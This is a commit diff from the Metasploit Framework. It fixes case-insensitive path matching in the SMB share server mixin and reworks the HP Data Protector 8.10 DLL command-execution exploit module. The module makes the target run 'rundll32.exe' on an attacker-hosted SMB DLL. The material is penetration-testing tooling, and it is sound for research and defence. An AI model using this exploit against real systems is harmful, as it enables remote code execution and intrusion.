Skip to content

Commit 36375fa

Browse files
committed
Fix downcase path handling
1 parent 62dde22 commit 36375fa

File tree

4 files changed

+41
-15
lines changed

4 files changed

+41
-15
lines changed

lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -26,13 +26,13 @@ def smb_cmd_nt_create_andx(c, buff)
2626
payload = file_name
2727
end
2828

29-
if payload.ends_with?(file_name)
29+
if payload.ends_with?(file_name.downcase)
3030
vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX request for #{unc}... ")
3131
fid = smb[:file_id].to_i
3232
attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
3333
eof = file_contents.length
3434
is_dir = 0
35-
elsif payload.eql?(path_name)
35+
elsif payload.eql?(path_name.downcase)
3636
fid = smb[:dir_id].to_i
3737
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
3838
eof = 0

lib/msf/core/exploit/smb/server/share/information_level/find.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -14,14 +14,14 @@ module Find
1414
# @return [Fixnum] The number of bytes returned to the client as response.
1515
def smb_cmd_find_file_both_directory_info(c, path)
1616

17-
if path && path.include?(file_name)
17+
if path && path.include?(file_name.downcase)
1818
data = Rex::Text.to_unicode(file_name)
1919
length = file_contents.length
2020
ea = 0
2121
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
2222
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
2323
search = 1
24-
elsif path && path == path_name
24+
elsif path && path == path_name.downcase
2525
data = Rex::Text.to_unicode(path_name)
2626
length = 0
2727
ea = 0x21
@@ -50,9 +50,9 @@ def smb_cmd_find_file_both_directory_info(c, path)
5050
# @param path [String] The path which the client is requesting info from.
5151
# @return [Fixnum] The number of bytes returned to the client as response.
5252
def smb_cmd_find_file_names_info(c, path)
53-
if path && path.include?(file_name)
53+
if path && path.include?(file_name.downcase)
5454
data = Rex::Text.to_unicode(file_name)
55-
elsif path && path == path_name
55+
elsif path && path == path_name.downcase
5656
data = Rex::Text.to_unicode(path_name)
5757
else
5858
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
@@ -68,14 +68,14 @@ def smb_cmd_find_file_names_info(c, path)
6868
# @param path [String] The path which the client is requesting info from.
6969
# @return [Fixnum] The number of bytes returned to the client as response.
7070
def smb_cmd_find_file_full_directory_info(c, path)
71-
if path && path.include?(file_name)
71+
if path && path.include?(file_name.downcase)
7272
data = Rex::Text.to_unicode(file_name)
7373
length = file_contents.length
7474
ea = 0
7575
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
7676
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File
7777
search = 0x100
78-
elsif path && path == path_name
78+
elsif path && path == path_name.downcase
7979
data = Rex::Text.to_unicode(path_name)
8080
length = 0
8181
ea = 0x21

lib/msf/core/exploit/smb/server/share/information_level/query.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -50,11 +50,11 @@ def smb_cmd_trans_query_file_info_standard(c, fid)
5050
# @return [Fixnum] The number of bytes returned to the client as response.
5151
# @todo Delete elsif comment if testing proofs it as unnecessary
5252
def smb_cmd_trans_query_path_info_basic(c, path)
53-
if path && path.ends_with?(file_name)
53+
if path && path.ends_with?(file_name.downcase)
5454
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
5555
#elsif path && path.ends_with?(file_name + '.Local')
5656
#attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
57-
elsif path && path == path_name
57+
elsif path && path == path_name.downcase
5858
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
5959
elsif path.nil? || path.empty? || path == "\x00" # empty path
6060
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
@@ -72,9 +72,9 @@ def smb_cmd_trans_query_path_info_basic(c, path)
7272
# @param path [String] The path which the client is requesting info from.
7373
# @return [Fixnum] The number of bytes returned to the client as response.
7474
def smb_cmd_trans_query_path_info_standard(c, path)
75-
if path && path.include?(file_name)
75+
if path && path.include?(file_name.downcase)
7676
attrib = 0 # File attributes => file
77-
elsif path && path == path_name
77+
elsif path && path == path_name.downcase
7878
attrib = 1 # File attributes => directory
7979
elsif path.nil? || path.empty? || path == "\x00" # empty path
8080
attrib = 1 # File attributes => directory
@@ -99,9 +99,9 @@ def smb_cmd_trans_query_path_info_standard(c, path)
9999
# @return [Fixnum] The number of bytes returned to the client as response.
100100
def smb_cmd_trans_query_path_info_network(c, path)
101101

102-
if path && path.include?(file_name)
102+
if path && path.include?(file_name.downcase)
103103
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
104-
elsif path && path == path_name
104+
elsif path && path == path_name.downcase
105105
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
106106
elsif path.nil? || path.empty? || path == "\x00" # empty path
107107
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY

modules/exploits/windows/misc/hp_dataprotector_dll_cmd_exec.rb

Lines changed: 27 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77

88
class Metasploit3 < Msf::Exploit::Remote
99
Rank = ExcellentRanking
10+
1011
include Msf::Exploit::Remote::Tcp
1112
include Msf::Exploit::Remote::SMB::Server::Share
1213
include Msf::Exploit::EXE
@@ -34,8 +35,14 @@ def initialize(info={})
3435
{
3536
'EXITFUNC' => 'thread',
3637
},
38+
'Payload' =>
39+
{
40+
'Space' => 2048,
41+
'DisableNops' => true
42+
},
3743
'Privileged' => true,
3844
'Platform' => 'win',
45+
'Stance' => Msf::Exploit::Stance::Aggressive,
3946
'Targets' =>
4047
[
4148
[ 'HP Data Protector 8.10 / Windows', { } ],
@@ -46,7 +53,8 @@ def initialize(info={})
4653
register_options(
4754
[
4855
Opt::RPORT(5555),
49-
OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'exploit.dll'])
56+
OptString.new('FILE_NAME', [ false, 'DLL File name to share']),
57+
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
5058
], self.class)
5159

5260
deregister_options('FILE_CONTENTS')
@@ -117,4 +125,22 @@ def primer
117125
sploit = "rundll32.exe #{unc},#{rand_text_numeric(1)}"
118126
send_pkt(sploit)
119127
end
128+
129+
def setup
130+
super
131+
132+
self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"
133+
134+
unless file_name =~ /\.dll$/
135+
fail_with(Failure::BadConfig, "FILE_NAME must end with .dll")
136+
end
137+
end
138+
139+
def exploit
140+
begin
141+
Timeout.timeout(datastore['SMB_DELAY']) {super}
142+
rescue Timeout::Error
143+
# do nothing... just finish exploit and stop smb server...
144+
end
145+
end
120146
end

0 commit comments

Comments
 (0)